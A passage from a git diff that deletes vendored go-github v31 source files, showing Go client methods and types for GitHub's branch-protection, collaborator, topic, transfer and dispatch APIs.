for empty list.) - Contexts []string `json:"contexts"` -} - -// RequiredStatusChecksRequest represents a request to edit a protected branch's status checks. -type RequiredStatusChecksRequest struct { - Strict *bool `json:"strict,omitempty"` - Contexts []string `json:"contexts,omitempty"` -} - -// PullRequestReviewsEnforcement represents the pull request reviews enforcement of a protected branch. -type PullRequestReviewsEnforcement struct { - // Specifies which users and teams can dismiss pull request reviews. - DismissalRestrictions *DismissalRestrictions `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews are dismissed automatically, when a new commit is pushed. - DismissStaleReviews bool `json:"dismiss_stale_reviews"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1-6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// PullRequestReviewsEnforcementRequest represents request to set the pull request review -// enforcement of a protected branch. It is separate from PullRequestReviewsEnforcement above -// because the request structure is different from the response structure. -type PullRequestReviewsEnforcementRequest struct { - // Specifies which users and teams should be allowed to dismiss pull request reviews. - // User and team dismissal restrictions are only available for - // organization-owned repositories. Must be nil for personal repositories. - DismissalRestrictionsRequest *DismissalRestrictionsRequest `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews can be dismissed automatically, when a new commit is pushed. (Required) - DismissStaleReviews bool `json:"dismiss_stale_reviews"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1-6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// PullRequestReviewsEnforcementUpdate represents request to patch the pull request review -// enforcement of a protected branch. It is separate from PullRequestReviewsEnforcementRequest above -// because the patch request does not require all fields to be initialized. -type PullRequestReviewsEnforcementUpdate struct { - // Specifies which users and teams can dismiss pull request reviews. Can be omitted. - DismissalRestrictionsRequest *DismissalRestrictionsRequest `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews can be dismissed automatically, when a new commit is pushed. Can be omitted. - DismissStaleReviews *bool `json:"dismiss_stale_reviews,omitempty"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews,omitempty"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1 - 6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// RequireLinearHistory represents the configuration to enfore branches with no merge commit. -type RequireLinearHistory struct { - Enabled bool `json:"enabled"` -} - -// AllowDeletions represents the configuration to accept deletion of protected branches. -type AllowDeletions struct { - Enabled bool `json:"enabled"` -} - -// AllowForcePushes represents the configuration to accept forced pushes on protected branches. -type AllowForcePushes struct { - Enabled bool `json:"enabled"` -} - -// AdminEnforcement represents the configuration to enforce required status checks for repository administrators. -type AdminEnforcement struct { - URL *string `json:"url,omitempty"` - Enabled bool `json:"enabled"` -} - -// BranchRestrictions represents the restriction that only certain users or -// teams may push to a branch. -type BranchRestrictions struct { - // The list of user logins with push access. - Users []*User `json:"users"` - // The list of team slugs with push access. - Teams []*Team `json:"teams"` - // The list of app slugs with push access. - Apps []*App `json:"apps"` -} - -// BranchRestrictionsRequest represents the request to create/edit the -// restriction that only certain users or teams may push to a branch. It is -// separate from BranchRestrictions above because the request structure is -// different from the response structure. -type BranchRestrictionsRequest struct { - // The list of user logins with push access. (Required; use []string{} instead of nil for empty list.) - Users []string `json:"users"` - // The list of team slugs with push access. (Required; use []string{} instead of nil for empty list.) - Teams []string `json:"teams"` - // The list of app slugs with push access. - Apps []string `json:"apps,omitempty"` -} - -// DismissalRestrictions specifies which users and teams can dismiss pull request reviews. -type DismissalRestrictions struct { - // The list of users who can dimiss pull request reviews. - Users []*User `json:"users"` - // The list of teams which can dismiss pull request reviews. - Teams []*Team `json:"teams"` -} - -// DismissalRestrictionsRequest represents the request to create/edit the -// restriction to allows only specific users or teams to dimiss pull request reviews. It is -// separate from DismissalRestrictions above because the request structure is -// different from the response structure. -// Note: Both Users and Teams must be nil, or both must be non-nil. -type DismissalRestrictionsRequest struct { - // The list of user logins who can dismiss pull request reviews. (Required; use nil to disable dismissal_restrictions or &[]string{} otherwise.) - Users *[]string `json:"users,omitempty"` - // The list of team slugs which can dismiss pull request reviews. (Required; use nil to disable dismissal_restrictions or &[]string{} otherwise.) - Teams *[]string `json:"teams,omitempty"` -} - -// SignaturesProtectedBranch represents the protection status of an individual branch. -type SignaturesProtectedBranch struct { - URL *string `json:"url,omitempty"` - // Commits pushed to matching branches must have verified signatures. - Enabled *bool `json:"enabled,omitempty"` -} - -// ListBranches lists branches for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#list-branches -func (s *RepositoriesService) ListBranches(ctx context.Context, owner string, repo string, opts *BranchListOptions) ([]*Branch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - var branches []*Branch - resp, err := s.client.Do(ctx, req, &branches) - if err != nil { - return nil, resp, err - } - - return branches, resp, nil -} - -// GetBranch gets the specified branch for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-branch -func (s *RepositoriesService) GetBranch(ctx context.Context, owner, repo, branch string) (*Branch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - b := new(Branch) - resp, err := s.client.Do(ctx, req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, nil -} - -// GetBranchProtection gets the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-branch-protection -func (s *RepositoriesService) GetBranchProtection(ctx context.Context, owner, repo, branch string) (*Protection, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(Protection) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// GetRequiredStatusChecks gets the required status checks for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch -func (s *RepositoriesService) GetRequiredStatusChecks(ctx context.Context, owner, repo, branch string) (*RequiredStatusChecks, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(RequiredStatusChecks) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// ListRequiredStatusChecksContexts lists the required status checks contexts for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#list-required-status-checks-contexts-of-protected-branch -func (s *RepositoriesService) ListRequiredStatusChecksContexts(ctx context.Context, owner, repo, branch string) (contexts []string, resp *Response, err error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks/contexts", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - resp, err = s.client.Do(ctx, req, &contexts) - if err != nil { - return nil, resp, err - } - - return contexts, resp, nil -} - -// UpdateBranchProtection updates the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-branch-protection -func (s *RepositoriesService) UpdateBranchProtection(ctx context.Context, owner, repo, branch string, preq *ProtectionRequest) (*Protection, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("PUT", u, preq) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(Protection) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// RemoveBranchProtection removes the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-branch-protection -func (s *RepositoriesService) RemoveBranchProtection(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetSignaturesProtectedBranch gets required signatures of protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-required-signatures-of-protected-branch -func (s *RepositoriesService) GetSignaturesProtectedBranch(ctx context.Context, owner, repo, branch string) (*SignaturesProtectedBranch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - p := new(SignaturesProtectedBranch) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// RequireSignaturesOnProtectedBranch makes signed commits required on a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-required-signatures-of-protected-branch -func (s *RepositoriesService) RequireSignaturesOnProtectedBranch(ctx context.Context, owner, repo, branch string) (*SignaturesProtectedBranch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - r := new(SignaturesProtectedBranch) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// OptionalSignaturesOnProtectedBranch removes required signed commits on a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-required-signatures-of-protected-branch -func (s *RepositoriesService) OptionalSignaturesOnProtectedBranch(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_signatures", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeSignaturePreview) - - return s.client.Do(ctx, req, nil) -} - -// UpdateRequiredStatusChecks updates the required status checks for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-required-status-checks-of-protected-branch -func (s *RepositoriesService) UpdateRequiredStatusChecks(ctx context.Context, owner, repo, branch string, sreq *RequiredStatusChecksRequest) (*RequiredStatusChecks, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks", owner, repo, branch) - req, err := s.client.NewRequest("PATCH", u, sreq) - if err != nil { - return nil, nil, err - } - - sc := new(RequiredStatusChecks) - resp, err := s.client.Do(ctx, req, sc) - if err != nil { - return nil, resp, err - } - - return sc, resp, nil -} - -// License gets the contents of a repository's license if one is detected. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#get-the-contents-of-a-repositorys-license -func (s *RepositoriesService) License(ctx context.Context, owner, repo string) (*RepositoryLicense, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/license", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - r := &RepositoryLicense{} - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// GetPullRequestReviewEnforcement gets pull request review enforcement of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) GetPullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdatePullRequestReviewEnforcement patches pull request review enforcement of a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) UpdatePullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string, patch *PullRequestReviewsEnforcementUpdate) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("PATCH", u, patch) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// DisableDismissalRestrictions disables dismissal restrictions of a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) DisableDismissalRestrictions(ctx context.Context, owner, repo, branch string) (*PullRequestReviewsEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - - data := new(struct { - DismissalRestrictionsRequest `json:"dismissal_restrictions"` - }) - - req, err := s.client.NewRequest("PATCH", u, data) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(PullRequestReviewsEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// RemovePullRequestReviewEnforcement removes pull request enforcement of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-pull-request-review-enforcement-of-protected-branch -func (s *RepositoriesService) RemovePullRequestReviewEnforcement(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_pull_request_reviews", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetAdminEnforcement gets admin enforcement information of a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-admin-enforcement-of-protected-branch -func (s *RepositoriesService) GetAdminEnforcement(ctx context.Context, owner, repo, branch string) (*AdminEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(AdminEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// AddAdminEnforcement adds admin enforcement to a protected branch. -// It requires admin access and branch protection to be enabled. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-admin-enforcement-of-protected-branch -func (s *RepositoriesService) AddAdminEnforcement(ctx context.Context, owner, repo, branch string) (*AdminEnforcement, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - r := new(AdminEnforcement) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// RemoveAdminEnforcement removes admin enforcement from a protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-admin-enforcement-of-protected-branch -func (s *RepositoriesService) RemoveAdminEnforcement(ctx context.Context, owner, repo, branch string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/enforce_admins", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - return s.client.Do(ctx, req, nil) -} - -// repositoryTopics represents a collection of repository topics. -type repositoryTopics struct { - Names []string `json:"names"` -} - -// ListAllTopics lists topics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#get-all-repository-topics -func (s *RepositoriesService) ListAllTopics(ctx context.Context, owner, repo string) ([]string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/topics", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - topics := new(repositoryTopics) - resp, err := s.client.Do(ctx, req, topics) - if err != nil { - return nil, resp, err - } - - return topics.Names, resp, nil -} - -// ReplaceAllTopics replaces topics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#replace-all-repository-topics -func (s *RepositoriesService) ReplaceAllTopics(ctx context.Context, owner, repo string, topics []string) ([]string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/topics", owner, repo) - t := &repositoryTopics{ - Names: topics, - } - if t.Names == nil { - t.Names = []string{} - } - req, err := s.client.NewRequest("PUT", u, t) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - t = new(repositoryTopics) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t.Names, resp, nil -} - -// ListApps lists the Github apps that have push access to a given protected branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#list-apps-with-access-to-protected-branch -func (s *RepositoriesService) ListApps(ctx context.Context, owner, repo, branch string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, resp, err - } - - return apps, resp, nil -} - -// ReplaceAppRestrictions replaces the apps that have push access to a given protected branch. -// It removes all apps that previously had push access and grants push access to the new list of apps. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#replace-app-restrictions-of-protected-branch -func (s *RepositoriesService) ReplaceAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("PUT", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// AddAppRestrictions grants the specified apps push access to a given protected branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#add-app-restrictions-of-protected-branch -func (s *RepositoriesService) AddAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("POST", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// RemoveAppRestrictions removes the ability of an app to push to this branch. -// It requires the Github apps to have `write` access to the `content` permission. -// -// Note: The list of users, apps, and teams in total is limited to 100 items. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#remove-app-restrictions-of-protected-branch -func (s *RepositoriesService) RemoveAppRestrictions(ctx context.Context, owner, repo, branch string, slug []string) ([]*App, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/restrictions/apps", owner, repo, branch) - req, err := s.client.NewRequest("DELETE", u, slug) - if err != nil { - return nil, nil, err - } - - var apps []*App - resp, err := s.client.Do(ctx, req, &apps) - if err != nil { - return nil, nil, err - } - - return apps, resp, nil -} - -// TransferRequest represents a request to transfer a repository. -type TransferRequest struct { - NewOwner string `json:"new_owner"` - TeamID []int64 `json:"team_ids,omitempty"` -} - -// Transfer transfers a repository from one account or organization to another. -// -// This method might return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it has now scheduled the transfer of the repository in a background task. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/#transfer-a-repository -func (s *RepositoriesService) Transfer(ctx context.Context, owner, repo string, transfer TransferRequest) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/transfer", owner, repo) - - req, err := s.client.NewRequest("POST", u, &transfer) - if err != nil { - return nil, nil, err - } - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DispatchRequestOptions represents a request to trigger a repository_dispatch event. -type DispatchRequestOptions struct { - // EventType is a custom webhook event name. (Required.) - EventType string `json:"event_type"` - // ClientPayload is a custom JSON payload with extra information about the webhook event. - // Defaults to an empty JSON object. - ClientPayload *json.RawMessage `json:"client_payload,omitempty"` -} - -// Dispatch triggers a repository_dispatch event in a GitHub Actions workflow. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create-a-repository-dispatch-event -func (s *RepositoriesService) Dispatch(ctx context.Context, owner, repo string, opts DispatchRequestOptions) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/dispatches", owner, repo) - - req, err := s.client.NewRequest("POST", u, &opts) - if err != nil { - return nil, nil, err - } - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_collaborators.go b/vendor/github.com/google/go-github/v31/github/repos_collaborators.go deleted file mode 100644 index e461516cae..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_collaborators.go +++ /dev/null @@ -1,152 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListCollaboratorsOptions specifies the optional parameters to the -// RepositoriesService.ListCollaborators method. -type ListCollaboratorsOptions struct { - // Affiliation specifies how collaborators should be filtered by their affiliation. - // Possible values are: - // outside - All outside collaborators of an organization-owned repository - // direct - All collaborators with permissions to an organization-owned repository, - // regardless of organization membership status - // all - All collaborators the authenticated user can see - // - // Default value is "all". - Affiliation string `url:"affiliation,omitempty"` - - ListOptions -} - -// CollaboratorInvitation represents an invitation created when adding a collaborator. -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#response-when-a-new-invitation-is-created -type CollaboratorInvitation struct { - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Invitee *User `json:"invitee,omitempty"` - Inviter *User `json:"inviter,omitempty"` - Permissions *string `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// ListCollaborators lists the GitHub users that have access to the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#list-collaborators -func (s *RepositoriesService) ListCollaborators(ctx context.Context, owner, repo string, opts *ListCollaboratorsOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// IsCollaborator checks whether the specified GitHub user has collaborator -// access to the given repo. -// Note: This will return false if the user is not a collaborator OR the user -// is not a GitHub user. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#check-if-a-user-is-a-collaborator -func (s *RepositoriesService) IsCollaborator(ctx context.Context, owner, repo, user string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - isCollab, err := parseBoolResponse(err) - return isCollab, resp, err -} - -// RepositoryPermissionLevel represents the permission level an organization -// member has for a given repository. -type RepositoryPermissionLevel struct { - // Possible values: "admin", "write", "read", "none" - Permission *string `json:"permission,omitempty"` - - User *User `json:"user,omitempty"` -} - -// GetPermissionLevel retrieves the specific permission level a collaborator has for a given repository. -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level -func (s *RepositoriesService) GetPermissionLevel(ctx context.Context, owner, repo, user string) (*RepositoryPermissionLevel, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v/permission", owner, repo, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - rpl := new(RepositoryPermissionLevel) - resp, err := s.client.Do(ctx, req, rpl) - if err != nil { - return nil, resp, err - } - return rpl, resp, nil -} - -// RepositoryAddCollaboratorOptions specifies the optional parameters to the -// RepositoriesService.AddCollaborator method. -type RepositoryAddCollaboratorOptions struct { - // Permission specifies the permission to grant the user on this repository. - // Possible values are: - // pull - team members can pull, but not push to or administer this repository - // push - team members can pull and push, but not administer this repository - // admin - team members can pull, push and administer this repository - // - // Default value is "push". This option is only valid for organization-owned repositories. - Permission string `json:"permission,omitempty"` -} - -// AddCollaborator sends an invitation to the specified GitHub user -// to become a collaborator to the given repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#add-user-as-a-collaborator -func (s *RepositoriesService) AddCollaborator(ctx context.Context, owner, repo, user string, opts *RepositoryAddCollaboratorOptions) (*CollaboratorInvitation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - acr := new(CollaboratorInvitation) - resp, err := s.client.Do(ctx, req, acr) - if err != nil { - return nil, resp, err - } - return acr, resp, nil -} - -// RemoveCollaborator removes the specified GitHub user as collaborator from the given repo. -// Note: Does not return error if a valid user that is not a collaborator is removed. -// -// GitHub API docs: https://developer.github.com/v3/repos/collaborators/#remove-user-as-a-collaborator -func (s *RepositoriesService) RemoveCollaborator(ctx context.Context, owner, repo, user string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/collaborators/%v", owner, repo, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_comments.go b/vendor/github.com/google/go-github/v31/github/repos_comments.go deleted file mode 100644 index 891825f965..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_comments.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// RepositoryComment represents a comment for a commit, file, or line in a repository. -type RepositoryComment struct { - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - - // User-mutable fields - Body *string `json:"body"` - // User-initialized fields - Path *string `json:"path,omitempty"` - Position *int `json:"position,omitempty"` -} - -func (r RepositoryComment) String() string { - return Stringify(r) -} - -// ListComments lists all the comments for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/comments/#list-commit-comments-for-a-repository -func (s *RepositoriesService) ListComments(ctx context.Context, owner, repo string, opts *ListOptions) ([]*RepositoryComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom 